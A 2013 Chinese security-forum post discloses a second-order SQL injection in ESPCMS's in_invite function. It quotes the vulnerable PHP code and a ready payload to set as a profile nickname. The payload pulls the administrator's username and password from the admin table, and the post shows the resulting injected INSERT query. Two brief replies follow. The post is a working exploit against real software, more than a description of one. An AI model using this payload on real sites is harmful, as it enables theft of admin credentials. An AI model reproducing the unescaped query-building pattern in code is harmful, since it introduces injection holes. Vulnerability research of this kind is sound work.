查看: 11189|回复: 2

ESPCMS 二次注入

[复制链接]
发表于 2013-8-28 10:37:09 | 显示全部楼层 |阅读模式
漏洞位于 interface\public.php文件 in_invite 函数中
核心代码如下:

  1. $ec_member_username_id = $this->member_cookieview('userid');
  2.   if ($ec_member_username_id) {
  3.    $rsMember = $this->get_member_attvalue($ec_member_username_id);
  4.   }
  5.   $userid = $ec_member_username_id ? $ec_member_username_id : 0;
  6.   $name = $rsMember['alias'] ? $rsMember['alias'] : '';  //sink 二次注入
  7.   $sex = $rsMember['sex'] ? $rsMember['sex'] : 0;
  8.   $tel = $rsMember['tel'] ? addslashes($rsMember['tel']) : '';
  9.   $address = $rsMember['address'] ? addslashes($rsMember['address']) : '';
  10.   $db_field = 'mlvid,userid,name,sex,email,tel,address,isclass,addtime';
  11.   $db_values = "$mlvid,$userid,'$name',$sex,'$email','$tel','$address',1,$addtime";
  12.   $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
复制代码
一个二次注入的问题 在个人资料中将昵称改成SQL语句 即可

  1. SQL: ',0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#
复制代码
20130827090513.jpg

  1. SQL: INSERT INTO espcms_mailinvite_list (mlvid,userid,name,sex,email,tel,address,isclass,addtime) VALUES (1,1,0,0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#',0,'123456@qq.com','','xx',1,1370357340)
复制代码
注入成果后得到如下图
20130827090631.jpg
发送订阅邮件时候 抓包得到概述里的图
20130827090707.jpg
作者:合肥滨湖虎子
回复

使用道具 举报

发表于 2013-9-2 21:37:00 | 显示全部楼层
这么长时间都没人来回复?
回复 支持 反对

使用道具 举报

发表于 2014-3-11 07:59:04 | 显示全部楼层
我给你回复一个
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 17:43 , Processed in 0.178913 second(s), 20 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部